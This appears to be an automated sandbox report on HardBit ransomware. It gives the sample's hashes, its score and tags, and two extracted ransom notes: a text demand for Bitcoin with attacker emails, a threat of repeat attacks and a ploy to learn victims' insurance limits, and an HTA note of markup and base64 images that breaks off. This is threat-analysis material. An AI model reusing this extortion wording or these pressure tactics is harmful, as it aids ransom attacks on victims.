a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992

Resubmissions

28-03-2023 09:54

230328-lw7cpaca5w 10

28-03-2023 09:51

230328-lvn5qaac57 10

Analysis

max time kernel
97s
max time network
102s
platform
windows10-1703_x64
resource
win10-20230220-en
resource tags

arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system
submitted
28-03-2023 09:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

hardbit.exe
Size

333KB
MD5

3191feae778309eb99df4e4e25c62f1a
SHA1

d639821e3fbbb15e14b46aed5b98568e3ce045c3
SHA256

a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992
SHA512

c8d8734bb1d6e413d8b14e73952a4eb42fd5641ca49822db66f87ea7f0c1fb4c2a38232a652a11ca1c3c5564a517a2aaef8fb59fadff36a11afcce60e5d89798
SSDEEP

6144:P1S1JwNbEKcwwZTz2fYNR5OyxyM6qy9iJ4zv5fmRw9aC1oPtYdeAS9aqbGqeBD:9So4KcZbRwyxmf9iWhuw9aCqPtYMH9zs

Score

10^/10

evasion ransomware trojan

Malware Config

Extracted

Path

C:\Users\Admin\Videos\How To Restore Your Files.txt

Ransom Note

_ _ _____ ___ ___ ___ _ _____ | | ( )| _ || _ \ ( _ \ ( _ \ (_)(_ _) | |_| || (_) || (_) )| | ) || (_) )| | | | | _ || _ || / | | | || _ ( | | | | | | | || | | || |\ \ | |_) || (_) )| | | | (_) |_||_| |_||_| (_)(____/ (____/ |_| |_| ¦¦¦¦¦HARDBIT RANSOMWARE¦¦¦¦¦ ---- what happened? All your files have been stolen and then encrypted. But don't worry, everything is safe and will be returned to you. ---- How can I get my files back? You have to pay us to get the files back. We don't have bank or paypal accounts, you only have to pay us via Bitcoin. ---- How can I buy bitcoins? You can buy bitcoins from all reputable sites in the world and send them to us. Just search how to buy bitcoins on the internet. Our suggestion is these sites. >>https://www.binance.com/en<< >>https://www.coinbase.com/<< >>https://localbitcoins.com/<< >>https://www.bybit.com/en-US/<< ---- What is your guarantee to restore files? Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will cooperate with us. Its not in our interests. To check the ability of returning files, you can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!) and low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee. ---- How to contact with you? Or contact us by email:>>godgood55@tutanota.com<< or >>alexgod5566@xyzmailpro.com<< ---- How will the payment process be after payment? After payment, we will send you the decryption tool along with the guide and we will be with you until the last file is decrypted. ---- What happens if I don't pay you? If you don't pay us, you will never have access to your files because the private key is only in our hands. This transaction is not important to us, but it is important to you, because not only do you not have access to your files, but you also lose time. And the more time passes, the more you will lose and If you do not pay the ransom, we will attack your company again in the future. ---- What are your recommendations? - Never change the name of the files, if you want to manipulate the files, make sure you make a backup of them. If there is a problem with the files, we are not responsible for it. - Never work with intermediary companies, because they charge more money from you. For example, if we ask you for 50,000 dollars, they will tell you 55,000 dollars. Don't be afraid of us, just call us. ---- Very important! For those who have cyber insurance against ransomware attacks. Insurance companies require you to keep your insurance information secret, this is to never pay the maximum amount specified in the contract or to pay nothing at all, disrupting negotiations. The insurance company will try to derail negotiations in any way they can so that they can later argue that you will be denied coverage because your insurance does not cover the ransom amount. For example your company is insured for 10 million dollars, while negotiating with your insurance agent about the ransom he will offer us the lowest possible amount, for example 100 thousand dollars, we will refuse the paltry amount and ask for example the amount of 15 million dollars, the insurance agent will never offer us the top threshold of your insurance of 10 million dollars. He will do anything to derail negotiations and refuse to pay us out completely and leave you alone with your problem. If you told us anonymously that your company was insured for $10 million and other important details regarding insurance coverage, we would not demand more than $10 million in correspondence with the insurance agent. That way you would have avoided a leak and decrypted your information. But since the sneaky insurance agent purposely negotiates so as not to pay for the insurance claim, only the insurance company wins in this situation. To avoid all this and get the money on the insurance, be sure to inform us anonymously about the availability and terms of insurance coverage, it benefits both you and us, but it does not benefit the insurance company. Poor multimillionaire insurers will not starve and will not become poorer from the payment of the maximum amount specified in the contract, because everyone knows that the contract is more expensive than money, so let them fulfill the conditions prescribed in your insurance contract, thanks to our interaction. -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Your ID :BFEBFBFF00090672 Your Key :N9v7+Jc+XFIVeV9qpMcdAleByHufgd5KtGV3hLocPPyuiqE7Hq+JWdWPyeTKHbzlTbljDtnD/lCWJ+VJlZGmQB6GO9eJCXkVdbrSgqnBHE0FFN7RYPLqTZfgueIdzUkt6UikaWFiiatHs9JV95rLtQ2zjN3DSu9cKS/Hg8wAp4g=

Emails

email:>>godgood55@tutanota.com<<

>>alexgod5566@xyzmailpro.com<<

Extracted

Path

C:\Users\Admin\Music\Help_me_for_Decrypt.hta

Ransom Note

<html><head> <title>HARDBIT2.0 </title> <HTA:APPLICATION ICON='msiexec.exe' WINDOWSTATE="maximize" SINGLEINSTANCE='yes' SysMenu="no" contextmenu="no" scroll="yes"/> <meta http-equiv="x-ua-compatible" content="IE=9"/> </head><style type="text/css"> body{background-color: #000000; font-family: Arial, Helvetica, sans-serif;}.header{text-align: center;}#t{color: #FF0000; font-weight: bold; font-size: 1.51vw; margin-bottom: 0;}p{font-size: 1vw; color: white; margin-bottom: 0;}.t{text-align: left; margin-left: 2px;}.pt{color: white; font-weight: bold; text-indent: 10px; height: 30px; line-height: 30px; padding-top: 10px; font-size: 1.1vw;}.b{padding: 2px; outline: none;}ul{font-size: 1vw;}.m{background: rgb(189, 54, 54); padding: 1px 5px; font-weight: bold;}#tm{color: red; border-bottom: 0; font-size: 2vw;}</style><body> <div class="header"> <img src="data:image/png;base64,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 AgCAIAgP//Z"><br><img src="data:image/png;base64,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 